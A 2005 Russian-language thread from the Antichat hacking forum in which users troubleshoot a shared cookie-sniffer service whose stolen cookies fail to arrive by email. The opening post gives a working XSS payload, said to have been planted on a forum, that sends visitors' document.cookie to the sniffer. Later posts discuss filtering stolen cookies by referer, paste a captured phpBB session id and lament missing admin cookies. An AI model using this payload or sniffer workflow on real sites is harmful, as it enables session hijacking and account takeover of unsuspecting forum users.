Подписка на античатовский сниффер

Discussion in 'Болталка' started by Mastermind, 31 Aug 2005.

  1. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    Чет я никак понять не могу...
    Добрая часть логов не идет на мыло...
    Сам проверял...
    Зашел на форум, где внедрен XSS...
    Захожу на log сниффера... Есть!
    Проверяю мыло - Нет!
    Пробовал на разные мыла подписываться...
    Результат один!
    Подписка активна... А куки не идут...
    Уже стоко народу отвечала на мой топик, а куки пришли только от одного на ящик...
    Кому интересно внедрен такой скрипт:
    <script>i=new/**/Image();i.src='/cgi-bin/s.jpg?'+document.cookie;</script>

    Да... на один ящик еще приходит:
    host1220 <host1220@serv.hostland.ru>
    Кому: undisclosed-recipients:;
    Копия:
    Тема: No subject
    Тело: [пустое]
    Как мне кажется тоже от сниффера...
     
    #1 Mastermind, 31 Aug 2005
    Last edited: 31 Aug 2005
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    Дык может ты в полях не то написал?
     
  3. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    Заполняю фильтр реферер: site.com
    Проблема в том, что какие то куки на мыло идут, а какие то нет, хотя в логе отображаются...
     
  4. Barsik

    Barsik Блoxacтый

    Joined:
    16 Jan 2005
    Messages:
    267
    Likes Received:
    235
    Reputations:
    182
    Я кстати тоже не пойму что писать там.
    Чтоб куки доходили на мыло (Mail.ru)
    Что нужно писать в реферер?
    Например в кукисе пишет это
    REFERER=http://www.xxx.com/forum/viewtopic.php?t=900
    Чтоб на мыло приходило надо писать www.xxx.com или www.xxx.com/forum/viewtopic.php?t=900
    И обязательно заполнять 2 поля?
     
  5. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    Barsik, подстроку реферера... например, xxx.com или www.xxx.com...

    Кстати, сейчас подписка на 2 мыла... по идее должны приходить одинаковые результаты, а на одно мыло, к примеру, пришло 2 куки, а на другое только 1, причем отличное от тех 2...

    Странно...
     
  6. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    Возможно просто сервер принимает сообщения снифера, как спам и фильтрует. Или же сервер античата глючит.
     
  7. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    Один аккаунт на гмейле... другой на яндексе... на гмейл пришло уведомление о подписке и один куки... на яндекс подписка, несколько кук, несколько host1220...
     
  8. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    Да хз, ты что то не так делаешь. У меня приходит все, точнее приходило. Давно я неподписывался
     
  9. Barsik

    Barsik Блoxacтый

    Joined:
    16 Jan 2005
    Messages:
    267
    Likes Received:
    235
    Reputations:
    182
    Мне на мэйле тоже пришло что то с хостом, но кук нет.
    Mastermind Спасибо за ответ. А что писать в другой строчке или ее можно не заполнять?
     
  10. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    Это фильтр на Query... его можно не заполнять...
     
  11. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    Ребят, согласен, такая же ботва...одну икссэсэс атаку провел на ура...просмотров поста на форуме двадцать из них десять ответов...а приходят только избранные куки......и эти host письма...обидно...куки админа из-за етого глюка не приходят...в списках спама античат вообще не числится...а вот host1220 пробовал добавлять в спам лист не фильтруется...че к чему...=(...
     
  12. hamula

    hamula New Member

    Joined:
    29 Sep 2005
    Messages:
    8
    Likes Received:
    1
    Reputations:
    0
    Вот и сам попробовал... Подписался - не приходит...
    Подписывался через реферер, смотрю в общем логе:

    [Fri Sep 30 09:54:09 2005] IP=195.149.70.22 SITE=
    REFERER=
    QUERY=phpbb2mysql_data=a:0:{}; phpbb2mysql_sid=0733561e97e66c1126e22452fc203c03
    AGENT=

    Т.е. реферер может иногда вообще не заполняться? как тогда их фильтровать???
     
  13. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    894
    Reputations:
    20
    С почтой могут быть проблеммы... Используйте многопользовательские сниферы... http://antichat.org/sniffer . Там создаете свой снифер и пароль на него по желанию.